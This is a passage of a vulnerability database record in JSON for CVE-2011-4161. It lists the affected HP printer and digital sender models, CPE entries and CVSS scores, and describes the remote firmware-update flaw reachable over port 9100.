"https://www.variotdbs.pl/ref/sources/" }, "sources_update_date": { "@id": "https://www.variotdbs.pl/ref/sources_update_date/" }, "sources_release_date": { "@id": "https://www.variotdbs.pl/ref/sources_release_date/" }, "affected_products": { "@id": "https://www.variotdbs.pl/ref/affected_products" }, "configurations": { "@id": "https://www.variotdbs.pl/ref/configurations" }, "credits": { "@id": "https://www.variotdbs.pl/ref/credits" }, "cvss": { "@id": "https://www.variotdbs.pl/ref/cvss/" }, "description": { "@id": "https://www.variotdbs.pl/ref/description/" }, "external_ids": { "@id": "https://www.variotdbs.pl/ref/external_ids/" }, "iot": { "@id": "https://www.variotdbs.pl/ref/iot/" }, "iot_taxonomy": { "@id": "https://www.variotdbs.pl/ref/iot_taxonomy/" }, "patch": { "@id": "https://www.variotdbs.pl/ref/patch/" }, "problemtype_data": { "@id": "https://www.variotdbs.pl/ref/problemtype_data/" }, "references": { "@id": "https://www.variotdbs.pl/ref/references/" }, "threat_type": { "@id": "https://www.variotdbs.pl/ref/threat_type/" }, "title": { "@id": "https://www.variotdbs.pl/ref/title/" }, "type": { "@id": "https://www.variotdbs.pl/ref/type/" }, "exploit_availability": { "@id": "https://www.variotdbs.pl/ref/exploit_availability/" } } } ``` ## [var-201112-0173](https://vulnerability.circl.lu/vuln/var-201112-0173) ```json { "id": "VAR-201112-0173", "affected_products": { "sources": [ { "db": "BID", "id": "50876" }, { "db": "JVNDB", "id": "JVNDB-2011-003178" }, { "db": "CNNVD", "id": "CNNVD-201111-528" }, { "db": "NVD", "id": "CVE-2011-4161" } ], "data": [ { "vendor": "hp", "model": "color mfp cm8060", "version": null, "scope": "eq", "trust": 1.6 }, { "vendor": "hp", "model": "color laserjet cm4730", "version": "mfp", "scope": "eq", "trust": 1.6 }, { "vendor": "hp", "model": "laserjet 4350", "version": "*", "scope": "eq", "trust": 1.0 }, { "vendor": "hp", "model": "laserjet 5200", "version": "*", "scope": "eq", "trust": 1.0 }, { "vendor": "hp", "model": "color laserjet cp4005", "version": "*", "scope": "eq", "trust": 1.0 }, { "vendor": "hp", "model": "laserjet 4345 mfp", "version": "*", "scope": "eq", "trust": 1.0 }, { "vendor": "hp", "model": "laserjet enterprise 600", "version": "m601", "scope": "eq", "trust": 1.0 }, { "vendor": "hp", "model": "laserjet m3035", "version": "*", "scope": "eq", "trust": 1.0 }, { "vendor": "hp", "model": "laserjet 9050", "version": "*", "scope": "eq", "trust": 1.0 }, { "vendor": "hp", "model": "color laserjet 9500", "version": "*", "scope": "eq", "trust": 1.0 }, { "vendor": "hp", "model": "laserjet enterprise 500 color", "version": "m551", "scope": "eq", "trust": 1.0 }, { "vendor": "hp", "model": "color laserjet enterprise cp4520", "version": "*", "scope": "eq", "trust": 1.0 }, { "vendor": "hp", "model": "color laserjet cm6030", "version": "*", "scope": "eq", "trust": 1.0 }, { "vendor": "hp", "model": "laserjet p4515", "version": "*", "scope": "eq", "trust": 1.0 }, { "vendor": "hp", "model": "color laserjet cp3525", "version": "*", "scope": "eq", "trust": 1.0 }, { "vendor": "hp", "model": "digital sender 9250c", "version": "*", "scope": "eq", "trust": 1.0 }, { "vendor": "hp", "model": "color laserjet enterprise cp4525", "version": "*", "scope": "eq", "trust": 1.0 }, { "vendor": "hp", "model": "digital sender 9200c", "version": "*", "scope": "eq", "trust": 1.0 }, { "vendor": "hp", "model": "laserjet 4240", "version": "*", "scope": "eq", "trust": 1.0 }, { "vendor": "hp", "model": "color laserjet cm4540", "version": "mfp", "scope": "eq", "trust": 1.0 }, { "vendor": "hp", "model": "laserjet enterprise m4555", "version": "mfp", "scope": "eq", "trust": 1.0 }, { "vendor": "hp", "model": "color laserjet 5550", "version": "*", "scope": "eq", "trust": 1.0 }, { "vendor": "hp", "model": "laserjet 9040", "version": "*", "scope": "eq", "trust": 1.0 }, { "vendor": "hp", "model": "color laserjet cm6040", "version": "*", "scope": "eq", "trust": 1.0 }, { "vendor": "hp", "model": "laserjet enterprise 600", "version": "m603", "scope": "eq", "trust": 1.0 }, { "vendor": "hp", "model": "laserjet m9050", "version": "*", "scope": "eq", "trust": 1.0 }, { "vendor": "hp", "model": "color laserjet 4730", "version": "mfp", "scope": "eq", "trust": 1.0 }, { "vendor": "hp", "model": "color laserjet cp3505", "version": "*", "scope": "eq", "trust": 1.0 }, { "vendor": "hp", "model": "laserjet m5035", "version": "*", "scope": "eq", "trust": 1.0 }, { "vendor": "hp", "model": "color laserjet 4700", "version": "*", "scope": "eq", "trust": 1.0 }, { "vendor": "hp", "model": "color laserjet 4730 mfp", "version": "*", "scope": "eq", "trust": 1.0 }, { "vendor": "hp", "model": "laserjet 4250", "version": "*", "scope": "eq", "trust": 1.0 }, { "vendor": "hp", "model": "color laserjet cp6015", "version": "*", "scope": "eq", "trust": 1.0 }, { "vendor": "hp", "model": "laserjet p4014", "version": "*", "scope": "eq", "trust": 1.0 }, { "vendor": "hp", "model": "color laserjet 3000", "version": "*", "scope": "eq", "trust": 1.0 }, { "vendor": "hp", "model": "color laserjet 3800", "version": "*", "scope": "eq", "trust": 1.0 }, { "vendor": "hp", "model": "color laserjet cp5525", "version": "*", "scope": "eq", "trust": 1.0 }, { "vendor": "hp", "model": "laserjet p4015", "version": "*", "scope": "eq", "trust": 1.0 }, { "vendor": "hp", "model": "laserjet enterprise p3015", "version": "*", "scope": "eq", "trust": 1.0 }, { "vendor": "hp", "model": "laserjet enterprise 600", "version": "m602", "scope": "eq", "trust": 1.0 }, { "vendor": "hp", "model": "color laserjet cm3530", "version": "*", "scope": "eq", "trust": 1.0 }, { "vendor": "hp", "model": "laserjet m9040", "version": "*", "scope": "eq", "trust": 1.0 }, { "vendor": "hp", "model": "laserjet p3005", "version": "*", "scope": "eq", "trust": 1.0 }, { "vendor": "hp", "model": "color laserjet enterprise cp4525", "version": null, "scope": null, "trust": 0.9 }, { "vendor": "hp", "model": "color laserjet enterprise cp4520", "version": null, "scope": null, "trust": 0.9 }, { "vendor": "hp", "model": "color laserjet cp6015", "version": null, "scope": null, "trust": 0.9 }, { "vendor": "hp", "model": "color laserjet cp5525", "version": null, "scope": null, "trust": 0.9 }, { "vendor": "hp", "model": "color laserjet cp3525", "version": null, "scope": null, "trust": 0.9 }, { "vendor": "hp", "model": "color laserjet cm6040", "version": null, "scope": null, "trust": 0.9 }, { "vendor": "hewlett packard", "model": "hp cm8060 color mfp with edgeline", "version": null, "scope": null, "trust": 0.8 }, { "vendor": "hewlett packard", "model": "hp color laserjet 3000", "version": null, "scope": null, "trust": 0.8 }, { "vendor": "hewlett packard", "model": "hp color laserjet 3800", "version": null, "scope": null, "trust": 0.8 }, { "vendor": "hewlett packard", "model": "hp color laserjet 4700", "version": null, "scope": null, "trust": 0.8 }, { "vendor": "hewlett packard", "model": "hp color laserjet 4730 mfp", "version": null, "scope": null, "trust": 0.8 }, { "vendor": "hewlett packard", "model": "hp color laserjet 5550", "version": null, "scope": null, "trust": 0.8 }, { "vendor": "hewlett packard", "model": "hp color laserjet 9500", "version": null, "scope": null, "trust": 0.8 }, { "vendor": "hewlett packard", "model": "hp color laserjet cm3530", "version": null, "scope": null, "trust": 0.8 }, { "vendor": "hewlett packard", "model": "hp color laserjet cm4540 mfp", "version": null, "scope": null, "trust": 0.8 }, { "vendor": "hewlett packard", "model": "hp color laserjet cm4730 mfp", "version": null, "scope": null, "trust": 0.8 }, { "vendor": "hewlett packard", "model": "hp color laserjet cm6030", "version": null, "scope": null, "trust": 0.8 }, { "vendor": "hewlett packard", "model": "hp color laserjet cm6040", "version": null, "scope": null, "trust": 0.8 }, { "vendor": "hewlett packard", "model": "hp color laserjet cp3505", "version": null, "scope": null, "trust": 0.8 }, { "vendor": "hewlett packard", "model": "hp color laserjet cp3525", "version": null, "scope": null, "trust": 0.8 }, { "vendor": "hewlett packard", "model": "hp color laserjet cp4005", "version": null, "scope": null, "trust": 0.8 }, { "vendor": "hewlett packard", "model": "hp color laserjet cp5525", "version": null, "scope": null, "trust": 0.8 }, { "vendor": "hewlett packard", "model": "hp color laserjet cp6015", "version": null, "scope": null, "trust": 0.8 }, { "vendor": "hewlett packard", "model": "hp color laserjet enterprise cp4520", "version": null, "scope": null, "trust": 0.8 }, { "vendor": "hewlett packard", "model": "hp color laserjet enterprise cp4525", "version": null, "scope": null, "trust": 0.8 }, { "vendor": "hewlett packard", "model": "hp digital sender 9200c", "version": null, "scope": null, "trust": 0.8 }, { "vendor": "hewlett packard", "model": "hp digital sender 9250c", "version": null, "scope": null, "trust": 0.8 }, { "vendor": "hewlett packard", "model": "hp laserjet 4240", "version": null, "scope": null, "trust": 0.8 }, { "vendor": "hewlett packard", "model": "hp laserjet 4250", "version": null, "scope": null, "trust": 0.8 }, { "vendor": "hewlett packard", "model": "hp laserjet 4345 mfp", "version": null, "scope": null, "trust": 0.8 }, { "vendor": "hewlett packard", "model": "hp laserjet 4350", "version": null, "scope": null, "trust": 0.8 }, { "vendor": "hewlett packard", "model": "hp laserjet 5200", "version": null, "scope": null, "trust": 0.8 }, { "vendor": "hewlett packard", "model": "hp laserjet 9040", "version": null, "scope": null, "trust": 0.8 }, { "vendor": "hewlett packard", "model": "hp laserjet 9050", "version": null, "scope": null, "trust": 0.8 }, { "vendor": "hewlett packard", "model": "hp laserjet enterprise 500 color m551", "version": null, "scope": null, "trust": 0.8 }, { "vendor": "hewlett packard", "model": "hp laserjet enterprise 600", "version": "m601", "scope": "eq", "trust": 0.8 }, { "vendor": "hewlett packard", "model": "hp laserjet enterprise 600", "version": "m602", "scope": "eq", "trust": 0.8 }, { "vendor": "hewlett packard", "model": "hp laserjet enterprise 600", "version": "m603", "scope": "eq", "trust": 0.8 }, { "vendor": "hewlett packard", "model": "hp laserjet enterprise m4555 mfp", "version": null, "scope": null, "trust": 0.8 }, { "vendor": "hewlett packard", "model": "hp laserjet enterprise p3015", "version": null, "scope": null, "trust": 0.8 }, { "vendor": "hewlett packard", "model": "hp laserjet m3035", "version": null, "scope": null, "trust": 0.8 }, { "vendor": "hewlett packard", "model": "hp laserjet m5035", "version": null, "scope": null, "trust": 0.8 }, { "vendor": "hewlett packard", "model": "hp laserjet m9040", "version": null, "scope": null, "trust": 0.8 }, { "vendor": "hewlett packard", "model": "hp laserjet m9050", "version": null, "scope": null, "trust": 0.8 }, { "vendor": "hewlett packard", "model": "hp laserjet p3005", "version": null, "scope": null, "trust": 0.8 }, { "vendor": "hewlett packard", "model": "hp laserjet p4014", "version": null, "scope": null, "trust": 0.8 }, { "vendor": "hewlett packard", "model": "hp laserjet p4015", "version": null, "scope": null, "trust": 0.8 }, { "vendor": "hewlett packard", "model": "hp laserjet p4515", "version": null, "scope": null, "trust": 0.8 }, { "vendor": "hp", "model": "color laserjet cp4005", "version": null, "scope": null, "trust": 0.6 }, { "vendor": "hp", "model": "color laserjet cp3505", "version": null, "scope": null, "trust": 0.6 }, { "vendor": "hp", "model": "topshot laserjet pro m275", "version": "0", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "laserjet professional cp5225 printer", "version": "0", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "laserjet pro p1606dn", "version": "0", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "laserjet pro p1102", "version": "0", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "laserjet pro m1536 multifunction printer", "version": "0", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "laserjet pro m1212nf multifunction printer series", "version": "0", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "laserjet pro m1136 multifunction printer series", "version": "0", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "laserjet pro cp1525 color printer", "version": "0", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "laserjet pro cp1025 color printer series", "version": "0", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "laserjet pro cm1415 color multifunction printer", "version": "0", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "laserjet pro mfp color m475", "version": "4000", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "laserjet pro color m451", "version": "4000", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "laserjet pro color mfp m375", "version": "3000", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "laserjet pro color m351", "version": "3000", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "laserjet pro color mfp m175", "version": "1000", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "laserjet p4515", "version": "0", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "laserjet p4015", "version": "0", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "laserjet p4014", "version": "0", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "laserjet p3005", "version": "0", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "laserjet p2055", "version": "0", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "laserjet p2035", "version": "0", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "laserjet p1500 printer series", "version": "0", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "laserjet m9040", "version": "0", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "laserjet m5035 multifunction printer", "version": "0", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "laserjet m5025 multifunction printer", "version": "0", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "laserjet m4345x mfp", "version": "0", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "laserjet m3035", "version": "0", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "laserjet m3027", "version": "0", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "laserjet m2727 multifunction printer", "version": "0", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "laserjet m1522 multifunction printer", "version": "0", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "laserjet m1319 multifunction printer series", "version": "0", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "laserjet m1120 multifunction printer series", "version": "0", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "laserjet enterprise p3015", "version": "0", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "laserjet enterprise m4555", "version": "0", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "laserjet enterprise p3015", "version": null, "scope": null, "trust": 0.3 }, { "vendor": "hp", "model": "laserjet enterprise m4555 mfp", "version": null, "scope": null, "trust": 0.3 }, { "vendor": "hp", "model": "laserjet enterprise m603", "version": "600", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "laserjet enterprise m602", "version": "600", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "laserjet enterprise m601", "version": "600", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "laserjet enterprise color m551", "version": "500", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "laserjet mfp", "version": "90500", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "laserjet", "version": "90500", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "laserjet 9040mpf", "version": "0", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "laserjet", "version": "90400", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "laserjet 5200n", "version": "0", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "laserjet 5200l", "version": "0", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "laserjet", "version": "43500", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "laserjet", "version": "4350", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "laserjet mfp", "version": "43450", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "laserjet", "version": "42500", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "laserjet", "version": "42400", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "laserjet m9050", "version": null, "scope": null, "trust": 0.3 }, { "vendor": "hp", "model": "laserjet m5035", "version": null, "scope": null, "trust": 0.3 }, { "vendor": "hp", "model": "laserjet", "version": "5200", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "ds9250c digital sender", "version": "0", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "digital sender 9200c", "version": "0", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "digital sender 9250c", "version": null, "scope": null, "trust": 0.3 }, { "vendor": "hp", "model": "color laserjet enterprise cm4540", "version": "0", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "color laserjet cp6015", "version": "0", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "color laserjet cp5525", "version": "0", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "color laserjet cp4005n", "version": "0", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "color laserjet cp3525 printer", "version": "53.031.4", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "color laserjet cp3525 printer", "version": "05.059.3", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "color laserjet cp3525 printer", "version": "05.058.4", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "color laserjet cp3505", "version": "0", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "color laserjet cp2025", "version": "0", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "color laserjet cp1510", "version": "0", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "color laserjet cp1210 printer series", "version": "0", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "color laserjet cm6040", "version": "0", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "color laserjet cm6030", "version": "0", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "color laserjet cm4730 mfp", "version": "0", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "color laserjet cm3530", "version": "0", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "color laserjet cm2320 multifunction printer", "version": "0", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "color laserjet cm1312 multifunction printer", "version": "0", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "color laserjet 9500mfp", "version": "0", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "color laserjet", "version": "5550", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "color laserjet mfp", "version": "47300", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "color laserjet", "version": "47000", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "color laserjet 3800n", "version": "0", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "color laserjet 3000n", "version": "0", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "color laserjet", "version": "28000", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "color laserjet cm1312nfi", "version": null, "scope": null, "trust": 0.3 }, { "vendor": "hp", "model": "color laserjet", "version": "9500", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "color laserjet", "version": "3000", "scope": "eq", "trust": 0.3 }, { "vendor": "hp", "model": "cm8060 color mfp with edgeline", "version": "0", "scope": "eq", "trust": 0.3 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/affected_products#", "data": { "@container": "@list" }, "sources": { "@id": "https://www.variotdbs.pl/ref/sources", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "configurations": { "sources": [ { "db": "NVD", "id": "CVE-2011-4161" } ], "data": [ { "CVE_data_version": "4.0", "nodes": [ { "operator": "OR", "children": [], "cpe_match": [ { "vulnerable": true, "cpe23Uri": "cpe:2.3:h:hp:color_laserjet_9500:*:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:h:hp:color_laserjet_cm3530:*:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:h:hp:color_laserjet_cp4005:*:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:h:hp:color_laserjet_cp5525:*:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:h:hp:color_laserjet_cp6015:*:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:h:hp:laserjet_4250:*:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:h:hp:laserjet_4345_mfp:*:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:h:hp:laserjet_m5035:*:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:h:hp:laserjet_m9040:*:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:h:hp:laserjet_enterprise_600:m602:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:h:hp:laserjet_enterprise_600:m603:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:h:hp:color_laserjet_3800:*:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:h:hp:color_laserjet_4700:*:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:h:hp:color_laserjet_cm6030:*:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:h:hp:color_laserjet_cm6040:*:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:h:hp:color_mfp_cm8060:-:-:edgeline:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:h:hp:digital_sender_9200c:*:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:h:hp:laserjet_5200:*:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:h:hp:laserjet_9040:*:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:h:hp:laserjet_p4014:*:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:h:hp:laserjet_p4015:*:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:h:hp:color_laserjet_3000:*:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:h:hp:color_laserjet_cm4540:mfp:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:h:hp:color_laserjet_cm4730:mfp:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:h:hp:color_laserjet_enterprise_cp4520:*:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:h:hp:color_laserjet_enterprise_cp4525:*:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:h:hp:laserjet_4350:*:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:h:hp:color_laserjet_4730_mfp:*:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:h:hp:laserjet_m9050:*:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:h:hp:laserjet_p3005:*:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:h:hp:laserjet_enterprise_m4555:mfp:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:h:hp:laserjet_enterprise_p3015:*:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:h:hp:color_laserjet_4730:mfp:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:h:hp:color_laserjet_5550:*:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:h:hp:color_laserjet_cp3505:*:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:h:hp:color_laserjet_cp3525:*:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:h:hp:digital_sender_9250c:*:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:h:hp:laserjet_4240:*:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:h:hp:laserjet_9050:*:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:h:hp:laserjet_m3035:*:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:h:hp:laserjet_p4515:*:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:h:hp:laserjet_enterprise_500_color:m551:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:h:hp:laserjet_enterprise_600:m601:*:*:*:*:*:*:*", "cpe_name": [] } ] } ] } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/configurations#", "data": { "@container": "@list" }, "nodes": { "@container": "@list" }, "cpe_match": { "@container": "@list" }, "children": { "@container": "@list" } } }, "credits": { "sources": [ { "db": "PACKETSTORM", "id": "108485" }, { "db": "PACKETSTORM", "id": "110973" }, { "db": "PACKETSTORM", "id": "109909" }, { "db": "PACKETSTORM", "id": "107448" }, { "db": "PACKETSTORM", "id": "112220" } ], "data": "HP", "trust": 0.5, "@context": { "@vocab": "https://www.variotdbs.pl/ref/credits#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "cvss": { "sources": [ { "db": "JVNDB", "id": "JVNDB-2011-003178" }, { "db": "CNNVD", "id": "CNNVD-201111-528" }, { "db": "NVD", "id": "CVE-2011-4161" } ], "data": [ { "severity": [ { "value": "HIGH", "author": "NVD", "id": "CVE-2011-4161", "trust": 1.8 }, { "id": "CNNVD-201111-528", "value": "CRITICAL", "author": "CNNVD", "trust": 0.6 } ], "cvssV2": [ { "exploitabilityScore": 10.0, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false, "version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "baseScore": 10.0, "author": "NVD", "severity": "HIGH", "trust": 1.0 }, { "id": "CVE-2011-4161", "author": "NVD", "version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "accessVector": "Network", "accessComplexity": "Low", "authentication": "None", "confidentialityImpact": "Complete", "integrityImpact": "Complete", "availabilityImpact": "Complete", "baseScore": 10.0, "severity": "High", "exploitabilityScore": null, "impactScore": null, "acInsufInfo": null, "obtainAllPrivilege": null, "obtainUserPrivilege": null, "obtainOtherPrivilege": null, "userInteractionRequired": null, "trust": 0.8 } ], "cvssV3": [] } ], "@context": { "cvssV3": { "@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#" } }, "cvssV2": { "@id": "https://www.variotdbs.pl/ref/cvss/cvssV2", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#" } }, "severity": { "@id": "https://www.variotdbs.pl/ref/cvss/severity", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/cvss/severity#" } }, "sources": { "@id": "https://www.variotdbs.pl/ref/sources", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "description": { "sources": [ { "db": "NVD", "id": "CVE-2011-4161" }, { "db": "JVNDB", "id": "JVNDB-2011-003178" }, { "db": "BID", "id": "50876" }, { "db": "PACKETSTORM", "id": "108485" }, { "db": "PACKETSTORM", "id": "110973" }, { "db": "PACKETSTORM", "id": "109909" }, { "db": "PACKETSTORM", "id": "107448" }, { "db": "PACKETSTORM", "id": "112220" } ], "data": "The default configuration of the HP CM8060 Color MFP with Edgeline; Color LaserJet 3xxx, 4xxx, 5550, 9500, CMxxxx, CPxxxx, and Enterprise CPxxxx; Digital Sender 9200c and 9250c; LaserJet 4xxx, 5200, 90xx, Mxxxx, and Pxxxx; and LaserJet Enterprise 500 color M551, 600, M4555 MFP, and P3015 enables the Remote Firmware Update (RFU) setting, which allows remote attackers to execute arbitrary code by using a session on TCP port 9100 to upload a crafted firmware update. HP Printers and Digital Senders are prone to a security-bypass vulnerability. \nAn attacker may leverage the issue to remotely install malicious printer firmware. The unauthorized firmware could also cause a Denial of Service to the device. -----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA1\n\nSUPPORT COMMUNICATION - SECURITY BULLETIN\n\nDocument ID: c03102449\nVersion: 